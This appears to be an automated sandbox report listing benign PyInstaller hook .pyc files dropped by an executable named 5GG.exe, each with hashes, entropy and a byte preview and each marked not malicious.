SSDEEP:	6:y/qQCe9zsPxNAR4RbMsXLAlcJnBMDHSC5EgTdArQfVOX9rFMobIP72DI6p:CoeGPxIsXxFBSHS6EgJ9OX9rGkI6p
MD5:	97128BDB1770A895F88D68F0571AB0D7
SHA1:	25EA24008C8C71EA82E1DF7362CF57912B2B2A7A
SHA-256:	F8E60A003C7FEB6D4A3A6427ACBC439F31E2A9EEDF376DD3EA37A689A483C577
SHA-512:	905DB46B5229BB4CA40EAA5F29D760CC3A4CC27E3D7839329841659E594862D7E13E6D6E0058B730BDD33D28CD91682BA3459FDC7BFC83A2BC2185010DB0D235
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.CTkMessageboxN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-CTkMessagebox.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-Crypto.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1673
Entropy (8bit):	5.53959124031217
Encrypted:	false
SSDEEP:	48:whallIk8c2J+HrCMWW4X+19idJ1i1ll4rU4hV7:yaAJc2J+j4LWG7
MD5:	40D3CAB7FE4A9AB1B4060DA0968E07E6
SHA1:	8CF657A3C2D90E16BA97A65AA18F4E61D11BB334
SHA-256:	A0AA13681AB95220BE2A95336E38D394F882E8BDC4C1BC8E90E3F591A9B84786
SHA-512:	2A2EE9A00D72A280D834BCFD61622CA610D12D441693825A77AD5A7C4129595076927E9A0E273579954BF9E57BFCE8D90A68BC33FD813B4C118712AE5DBAA6CE
Malicious:	false
Preview:	o.........e.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...g.Z.g.d...Z.z2e.D.],Z.e.j...e.e.....Z.e.D.].Z.e...e.j...e.d.e.......Z.e.D.].Z.e...e.e...d.e.j...f.....q;q+q.W.d.S...e.yX......Y.d.S.w.).av....Hook for PyCryptodome library: https://pypi.python.org/pypi/pycryptodome..PyCryptodome is an almost drop-in replacement for the now unmaintained.PyCrypto library. The two are mutually exclusive as they live under.the same package ("Crypto")...PyCryptodome distributes dynamic libraries and builds them as if they were.Python C extensions (even though they are not extensions - as they can't be.imported by Python). It might sound a bit weird, but this decision is rooted.in PyPy and its partial and slow support for C extensions. However, this also.invalidates several of the existing methods used by PyInstaller to decide the.right files to pull in...Even though this hook is meant to help with PyCryptodome only, it will be.triggered also when PyCrypto is installed,

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-Cryptodome.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	5.834904073815713
Encrypted:	false
SSDEEP:	24:Xr4m43nuznVpSqXAVZ5Tpln4rwxZYEI4VkKh:X/43KmqXIpl4rQu4VkKh
MD5:	440CF5C3A4847368C2F89D659C5D7944
SHA1:	46A7646367211085E83E6B4292E67FCA3DCA0122
SHA-256:	903052C7EFDDA4DB4A610416997DA66D9B4924C9D2E02D0C67215ED790543F7C
SHA-512:	69A31D926AE227314E0CB10001002CBC1B4133C4FC03CBF7F370815ED84295EDBBFAA8BDB2FF188B2CA30D6FB1B340578B8E9DE4BBB94598CA21619EF4F2829D
Malicious:	false
Preview:	o.........e.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...g.Z.g.d...Z.e.D.]+Z.e.j...e.e.....Z.e.D.].Z.e...e.j...e.d.e.......Z.e.D.].Z.e...e.e...d.d...f.....q:qq.d.S.).z..Hook for Cryptodome module: https://pypi.python.org/pypi/pycryptodomex..Tested with Cryptodomex 3.4.2, Python 2.7 & 3.5, Windows......N)...EXTENSION_SUFFIXES)...get_module_file_attribute).z.Cryptodome.Cipherz.Cryptodome.Utilz.Cryptodome.Hashz.Cryptodome.Protocolz.Cryptodome.Mathz.Cryptodome.PublicKeyz._%s...../)...__doc__..os..globZ.PyInstaller.compatr....Z.PyInstaller.utils.hooksr....Z.binariesZ.binary_module_names..module_name..path..dirnameZ.m_dir..ext..joinZ.module_bin..f..append..replace..r....r.....\|...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-Cryptodome.py..<module>....s ...................................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-HtmlTestRunner.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.24984348054593
Encrypted:	false
SSDEEP:	6:y/qQye9zsPxNARp0ZdXLAlcJzDHSC5EgTdArQfVOX9rFMohXLZ6p:C4eGPxxjXxJHS6EgJ9OX9rGSZ6p
MD5:	1F450A030EAAE0C94A8D0483D7EC1EE3
SHA1:	16D5B461B581C7081B44652BB52EF4CCE428791F
SHA-256:	5EC66DC269532501674F58417C4C66BF4127C3B4C717D665DC45AC384E6C6BDE
SHA-512:	A938F96432C263C24D2AA5E7378D80B0D156B4755ADFBFE425D52A8E7B2F3DD1E29E31F83243BB25694B9BBFB67FC833F4330074B193C09F6976A04AB4C43ED8
Malicious:	false
Preview:	o.........eo........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.HtmlTestRunnerN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-HtmlTestRunner.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-IPython.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	544
Entropy (8bit):	5.5268052135161385
Encrypted:	false
SSDEEP:	12:CoI+tBgRCu2M/owcXlPj6OXLwXw52IYUloHS6EgJ9OX9rGGWNjIa:jgR0M/jGlTuwA8oEI4m
MD5:	835C62EEB08D8C169A50B5CECD3EA737
SHA1:	09FE74ECBAD15B5BACB2C1779249D683BD658503
SHA-256:	66438D33ABE4288A44D0B94F158185C5094D6F6184B79615EB3E96801CE446EA
SHA-512:	62DA562826EA94DFA5B87A6C46DAF311C4F63291ADF0F592975915AD1485BD76EE8C67EE926449100426FA28DD969586F7C63777C9CA241B1C685568D1CB9C6C
Malicious:	false
Preview:	o.........e.........................@...sR...d.d.l.m.Z.m.Z...d.d.l.m.Z...g.d...Z.e.s.e.r.e...d.....e.d...Z.e.e.d.d.d...7.Z.d.S.)......)...is_win..is_darwin)...collect_data_files).Z.gtkZ.matplotlibZ.PyQt4Z.PyQt5Z.PySide..tkinterZ.IPythonz.IPython.extensionsT).Z.include_py_filesN).Z.PyInstaller.compatr....r....Z.PyInstaller.utils.hooksr....Z.excludedimports..appendZ.datas..r....r.....y...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-IPython.py..<module>....s..................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-OpenGL.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1370
Entropy (8bit):	5.664752891093798
Encrypted:	false
SSDEEP:	24:tFfl5IB2Mohk40lYMbG69SE+HJaQzaprgJuA2gPEI4n2Fu8Vun+Ur9:zl53Mo+44YMq6WWJgCgN42FxuDx
MD5:	F34C54932D3D05934CF29A6DC5AD8EE9
SHA1:	A0DBAC1D0B2C40FCE074D963740780418FDB6CAF
SHA-256:	A2DB433634BDF21A58960E4E9A1504F77AB1FD9AF34899C82136A75A77B67498
SHA-512:	E24D77843663842F17B3063A2D26EF18C89EA976C8E374A1D64167C6ADC894FAAB26D304A187420B693EAB90578D7B623F1EF72820D73FD6458AD025529E6BDB
Malicious:	false
Preview:	o.........eq........................@...sx...d.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d...Z.e.r$d.g.Z.n.e.rd.g.Z.n.d.g.Z.e.e...7.Z.e.r:e.d...Z.d.S.d.S.).z..Hook for PyOpenGL 3.x versions from 3.0.0b6 up. Previous versions have a.plugin system based on pkg_resources which is problematic to handle correctly.under pyinstaller; 2.x versions used to run fine without hooks, so this one.shouldn't hurt.......)...is_win..is_darwin)...collect_data_files..exec_statementNc....................C...sj...d.}.t.\|...}.t.j...\|.d...}.t...\|.d.....}.g.}.\|.D.].}.t.j...t.j...\|.....d...}.\|.d.k.r+q.\|...d.\|.......q.\|.S.).zV. Return list of array modules for OpenGL module.. e.g. 'OpenGL.arrays.vbo'. z(import OpenGL; print(OpenGL.__path__[0])Z.arraysz./.pyr......__init__z.OpenGL.arrays.).r......os..path..join..glob..splitext..basename..append).Z.statementZ.opengl_mod_pathZ.arrays_mod_path..files..modules..f..mod..r.....x...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_py

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-OpenGL_accelerate.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	569
Entropy (8bit):	5.247558728884266
Encrypted:	false
SSDEEP:	12:C/Sl9OBdHI9X2QKLwtaANsf5XF6bn99dSp3kd9y98g/ASHS6EgJ9OX9rGwD9dVY:LH3KLwta+sfJobLdSdmgISEI4nhY
MD5:	1C84C5223806A9F01D57E1037003AEF9
SHA1:	12704387D85666985E9D5DF240085F440F74E5F7
SHA-256:	09D5B608994636066D1DA2BC4B906F25EF112834081B1230F4C3C8CEA3BD628C
SHA-512:	5CA13D59266A6D23548EF50AB00A1220618B7503E69B60891C073F89569992655B0C85838DAC3F19E4C344137CD91FC920F07386D5B05730D554D1AA43371390
Malicious:	false
Preview:	o.........e.........................@...s....d.Z.d.d.g.Z.d.S.).z..OpenGL_accelerate contais modules written in cython. This module.should speed up some functions from OpenGL module. The following.hiddenimports are not resolved by PyInstaller because OpenGL_accelerate.is compiled to native Python modules..z.OpenGL_accelerate.wrapperz.OpenGL_accelerate.formathandlerN)...__doc__Z.hiddenimports..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-OpenGL_accelerate.py..<module>....s............

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-Xlib.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.208768451272047
Encrypted:	false
SSDEEP:	6:y/qQf/e9zsPxNXCXLAlIMQeDHSC5EgTdArQfVOX9rFMoBVcDI6r:CB/eGPxsXFWHS6EgJ9OX9rGS2DI6r
MD5:	A5DD5115F28806E9BCCDD4A320910C01
SHA1:	0E9938E66EDD90ACF003EFB9DD13322E7E8DC42E
SHA-256:	568316E030295A658E7CA3C06D3081FF1D0CBBA24DEEBB402632AD7CEE4DE3DA
SHA-512:	9832B4EBA28B26D9C0BEE12712649B9E9D4AFAC4628F237581E797F1F5E958EB9D0F0ECB76579B49A6C08B294A57DF063D65FBB4C776DB84FA85964F10A1CDBB
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_submodulesZ.XlibN).Z.PyInstaller.utils.hooksr....Z.hiddenimports..r....r.....v...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-Xlib.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-_mssql.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	240
Entropy (8bit):	5.094678093196553
Encrypted:	false
SSDEEP:	6:y/qQGqev/0C/lIDWuRkDHSC5EgTdArQfVOX9rFMoHyIe:Cjev/02lK4HS6EgJ9OX9rGrIe
MD5:	E0597ACF84232D369F09C54F72CAADC4
SHA1:	496C4D05D6D4BF7CA95C301CFC9B4AB7BC5CE604
SHA-256:	334CD4DFA687B62D69EF0D0EA3387A779C0A9927CEDECFC4ACF85867B2E4019D
SHA-512:	65B373F4EC1F3E1B41406163ED0A46760046A7E9BF2802A5E4146AA597BF75090B52780498AFF261AB4263BA34E635096DEA07249C4103E21756405DD77ECF22
Malicious:	false
Preview:	o.........e.........................@...s....d.g.Z.d.S.)...uuidN).Z.hiddenimports..r....r.....x...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-_mssql.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-_mysql.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.277771785257223
Encrypted:	false
SSDEEP:	6:y/qQ6aqerGgCnB3kNzb2AC+kn06h38QHRkDHSC5EgTdArQfVOX9rFMoHPQI64:ChqerGgeB0Nzbdk06qFHS6EgJ9OX9rGU
MD5:	5A0D162DC8CCF80946B5798329EF1E1D
SHA1:	26F845ABECC2D973B1C411453CAAF2B41A8B1315
SHA-256:	4E8CFB013F1968C379363AAED89F3A79E62CCA25C090492BD94F74677A08802B
SHA-512:	157F4FEEEAAFF06B49BD3A04EDD14925124440728F4613AB5BF232F870D65EA3AB1890ABC4ACD756B94B42F03F930C405DA99742F4012426305C2CA107177E7A
Malicious:	false
Preview:	o.........e(........................@...s....d.Z.d.g.Z.d.S.).zN.Hook for _mysql, required if higher-level pure python module is not imported.Z._mysql_exceptionsN)...__doc__Z.hiddenimports..r....r.....x...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-_mysql.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-accessible_output2.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	419
Entropy (8bit):	5.341873386026079
Encrypted:	false
SSDEEP:	12:CKaehOBSTOrjPI7D+At1J8XIWqHS6EgJ9OX9rGaJIPB:pFYrknDsiEI4rQB
MD5:	9553A464E421AF142B0D193F0E00CE0E
SHA1:	FF9A2927515DBCA385E67EC006C2288D549D94BB
SHA-256:	A3DC68151FA70EBBA571383A5FD20FF9C6E6DD73E7536A3F69E2BDB7B687CED4
SHA-512:	25A85DC7D9716D0450F243DFF39F53F3DB8466237BC15AB58F17D0FA90A1247B431B41CBC0ABB475A3F6D76936057EE5680BF1D60B1C9684A1B326975969CD25
Malicious:	false
Preview:	o.........ef........................@...s....d.Z.d.d.l.m.Z...e.d...Z.d.S.).zB.accessible_output2: http://hg.q-continuum.net/accessible_output2......)...collect_dynamic_libsZ.accessible_output2N)...__doc__Z.PyInstaller.utils.hooksr....Z.binaries..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-accessible_output2.py..<module>....s..........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-adbutils.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.293300029780056
Encrypted:	false
SSDEEP:	6:y/qQEuGNbsNcjYNARd/UECxAtm5XLAlcJ/WuDHSC5EgTdArQfVOX9rFMof6krI6S:Cm5NQFG/dCGU5XxtW4HS6EgJ9OX9rGnL
MD5:	F48D3716614D33BB311CE92DA33C25FC
SHA1:	DCAFFF4D3137922A85F3C59264828D6C3AD4C9E9
SHA-256:	B06E41F4F475F2BCA4D30B158ED974B355D70BF96DABDB1C157788D566291F0F
SHA-512:	EC8680AF45599202080D8DC1811D3B1FD857C69F9330087598A6120A66941AC358B21141057C1337F321597774DE1BC3E088473240F269ABDF82DEB6CA2AE586
Malicious:	false
Preview:	o.........eu........................@...s ...d.d.l.m.Z...e.d.d.d.g.d...Z.d.S.)......)...collect_data_filesZ.adbutilsZ.binariesz.adb*)...subdirZ.includesN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....z...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-adbutils.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-adios.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.218764691555609
Encrypted:	false
SSDEEP:	6:y/qQV/qerGgCng9N3NxqJiVMYpyQrDHSC5EgTdArQfVOX9rFMofFI64:CDqerGgegRYaHS6EgJ9OX9rGj64
MD5:	9AA3A07329697B08370D31A57C5DD4DA
SHA1:	17B6C8A2E1D4E05338B0F0CBDDBC5141DC17A5A3
SHA-256:	20A1E6720B98CD410081AD393C9AEB5BDD6849DC897184CA26F6208CEA736E98
SHA-512:	BCE3E89A247F085AB1287A3B9C130E3ED36CB66E95383309B9C27CE124ADA6E03DAA21CA56DCB42A382D45FD07DBE596E8755C717A797F3D255694DA1E10B964
Malicious:	false
Preview:	o.........e.........................@...s....d.Z.d.g.Z.d.S.).z-.Hook for http://pypi.python.org/pypi/adios/.z.adios._hl.selectionsN)...__doc__Z.hiddenimports..r....r.....w...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-adios.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-afmformats.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.219158598416997
Encrypted:	false
SSDEEP:	6:y/qQJe9zsPxNAR+uGUXLAlcJseDHSC5EgTdArQfVOX9rFMod+NktZI6p:CXeGPxNudXxlHS6EgJ9OX9rGMId6p
MD5:	6D551B99B14C586BCA7AB2EB74FB6ECA
SHA1:	C8005DA0734EEABBE983CD346B24EC941091EC3F
SHA-256:	B1B98F48EB1665E4D2CEBDEDAD554279AF927443F6AB083B34D4A5DC1E27AABF
SHA-512:	4E47D0F0A2B71CEB5C7A69CC76BBF32671BE9065C54BCC1C8194DB05812A86F91403CB615A0F221F7C7694A8E30F660E3E37F6824F8C765D9B2981554179073F
Malicious:	false
Preview:	o.........eN........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.afmformatsN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....\|...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-afmformats.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-aliyunsdkcore.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.2104611899950495
Encrypted:	false
SSDEEP:	6:y/qQf/e9zsPxNAR7CdGeO/BXLAlcJnBMDHSC5EgTdArQfVOX9rFMoXleTI6qn:CB/eGPxfGBXxFBSHS6EgJ9OX9rGy6c
MD5:	BEC40631028255E456D2FD1FA46E0A2A
SHA1:	585A2CDC77A14669DB8E8DB36EC33923FD068E53
SHA-256:	B51ED71C2F2F965D7703C3FE7DE3E0152F81266F22E04BA6DED82E275226ED29
SHA-512:	2D46501117E35366F48128DE85D2A31BBB19AF0BAB4A33EF85112B31CF018D6FEBB4A7313701BF51FF8DD7694656C5B53E02811B0DB9CEB37E3D4B8F44D5DA4E
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.aliyunsdkcoreN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-aliyunsdkcore.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-altair.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.191863598102524
Encrypted:	false
SSDEEP:	6:y/qQV/e9zsPxNAR+XLAlcJOkDHSC5EgTdArQfVOX9rFMoXvt6r:CDeGPxfXxRHS6EgJ9OX9rGi6r
MD5:	50A1D97AE27A719B3410EE1C25B7BE3A
SHA1:	2F02CF177D031FC15DC34D5E1B9E30E4D95F10A1
SHA-256:	05EC2E8F5C647AA072EA490CB1A68F6CD7720C9B417D0C5E1D636CE2AC15A74A
SHA-512:	126D1D248C9FBD4F3F22C6A987958D5979C72F25CB7F8B9AC07A07FF24479D88D6EE7D610975A2A1118C13F848C4A7ED664E09966DBCDC2594E27EEC118D1230
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.altairN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....x...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-altair.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-amazonproduct.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	707
Entropy (8bit):	5.176754406780201
Encrypted:	false
SSDEEP:	12:Cb9WlllHno/DGg+fzRUt81ioSOo2BAWXht2jrjsxjjLjeBSHS6EgJ9OX9rGWZt6T:UillHo6ze81/SOoSAWXuvi/LBEI4dZkT
MD5:	8DA97C55EA65502A62C247E976353F8E
SHA1:	AF4C4B42527FC1305E6E39BAC72671ED480B8B28
SHA-256:	60B04FA9428CCF5C5445372706A821EE6EFA600AA4149051FC4C314B9DEA58D4
SHA-512:	97DB605090E4EE5AA8327AC3BAC20EA3C0A28DC65D344F0A874458D6CD87DAC641BC7D54B700D845828CA292C8FBD9D12A35FEA6152A2DAF4BFE2D969F34E05A
Malicious:	false
Preview:	o.........e/........................@...s....d.Z.g.d...Z.d.S.).zv.Hook for Python bindings for Amazon's Product Advertising API..https://bitbucket.org/basti/python-amazon-product-api.).z!amazonproduct.processors.__init__z.amazonproduct.processors._lxmlz"amazonproduct.processors.objectifyz$amazonproduct.processors.elementtreez.amazonproduct.processors.etreez amazonproduct.processors.minidomz.amazonproduct.contrib.__init__z.amazonproduct.contrib.cartz.amazonproduct.contrib.cachingz.amazonproduct.contrib.retryN)...__doc__Z.hiddenimports..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-amazonproduct.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-anyio.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	454
Entropy (8bit):	5.396030331837091
Encrypted:	false
SSDEEP:	12:C9ehOBSTOcsMwZikmTXP73/Dd1J8XFAWW2HS6EgJ9OX9rGEodPw:xYp98zPDck2EI4uw
MD5:	C77EE2F4980537289A1AA108033EFC39
SHA1:	8986160FA3BE0BC12CEA3F15ED81FE76B07746AE
SHA-256:	AD8FF877800BDF0023BAC36C677EC5C8798EC8E1B9EE7F49551C3FAC2F3B795E
SHA-512:	B16710D52B7A54A6D181D2101D2F71E73C9161F9B530D09712F233E87CF6230FE07B21A929D82F87759B7F0F4B424FC52D55EB8B48D5B5F182C6A2269CA51046
Malicious:	false
Preview:	o.........e.........................@...s....d.Z.d.d.l.m.Z...e.d...Z.d.S.).zr.AnyIO contains a number of back-ends as dynamically imported modules..This hook was tested against AnyIO v1.4.0.......)...collect_submodulesz.anyio._backendsN)...__doc__Z.PyInstaller.utils.hooksr....Z.hiddenimports..r....r.....w...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-anyio.py..<module>....s..........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-appdirs.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	544
Entropy (8bit):	5.264472395707701
Encrypted:	false
SSDEEP:	12:C5/qerGgeCVDXfFSDvxxiTR6eL4qFRwvTJIiSLe/oHS6EgJ9OX9rGi61:q8CVbfFSDqYru+J40oEI4Y1
MD5:	3A4E5A3B88647064CD9393F8FE6AB475
SHA1:	0DEF98C2EB5213D5337F5239892DF3EBCD23C36B
SHA-256:	3DCC79E672988AC21353BE5EB27080D41E7562DA497E5FCEAD542A2D5839C49B
SHA-512:	2D4FBD5C2504B7AA733BF81E48A609148594B4E6ABFCC83D28CA249A18A5C8F6188AB977399D35EF8ED682115B00A84CC28FA2E94D509E5EE8EFFC33C919BB3F
Malicious:	false
Preview:	o.........e.........................@...s....d.Z.d.g.Z.d.S.).a.....Import hook for appdirs...On Windows, appdirs tries 2 different methods to get well-known directories.from the system: First with win32com, then with ctypes. Excluding win32com here.avoids including all the win32com related DLLs in programs that don't include.them otherwise..Z.win32comN)...__doc__Z.excludedimports..r....r.....y...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-appdirs.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-appy.pod.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	314
Entropy (8bit):	5.2414157033969095
Encrypted:	false
SSDEEP:	6:y/qQ3//40MlNARVV6LBXLAlcJ5DHSC5EgTdArQfVOX9rFMoL2+VD6T:Cp//40Yc2XxnHS6EgJ9OX9rGyZ6T
MD5:	953B1AED93339B3421B47F52AC2B53F2
SHA1:	4C6271FBCCEC0E11394499DE052D45F4179B9D9B
SHA-256:	46D9546B0518D28F7895F7D089B13557ECFC3D15FC668C59E57284837E8F914E
SHA-512:	9ED5A0223E1955A9DA9C7FD6D9C7CA5F2DFE858185B4F261E4ED8D964FACC1C8029167FD22B4507FEE742751E0EBCB4046DD69CBBDB6DD2963E142F9F8BFFA1A
Malicious:	false
Preview:	o.........eP........................@...s....d.d.l.m.Z...e.d.d...Z.d.S.)......)...collect_data_filesz.appy.podTN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....z...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-appy.pod.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-apscheduler.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.535380315992911
Encrypted:	false
SSDEEP:	12:C5jOBdwkjpWTXPofL2pOnojVOXFtL881J8XVNTYI2HS6EgJ9OX9rGLujff:7l9MgfL2p9p4f8bVNkI2EI41b
MD5:	96511DB443B8871B19F1235805C9AA95
SHA1:	E872133A73DF678ACAEFCCD9018B63706A575010
SHA-256:	C679B1D6002346D81B77E2F2A2B7406230C7366360DBD4548EFB5C8239A88132
SHA-512:	83254AE479A52A15B058B658168B42A05DC4BB1495499354FD9FCE479F3969CFC03919F684768347CFD6C00648547CD3458E44CC564DA4F9E216495E0680AF69
Malicious:	false
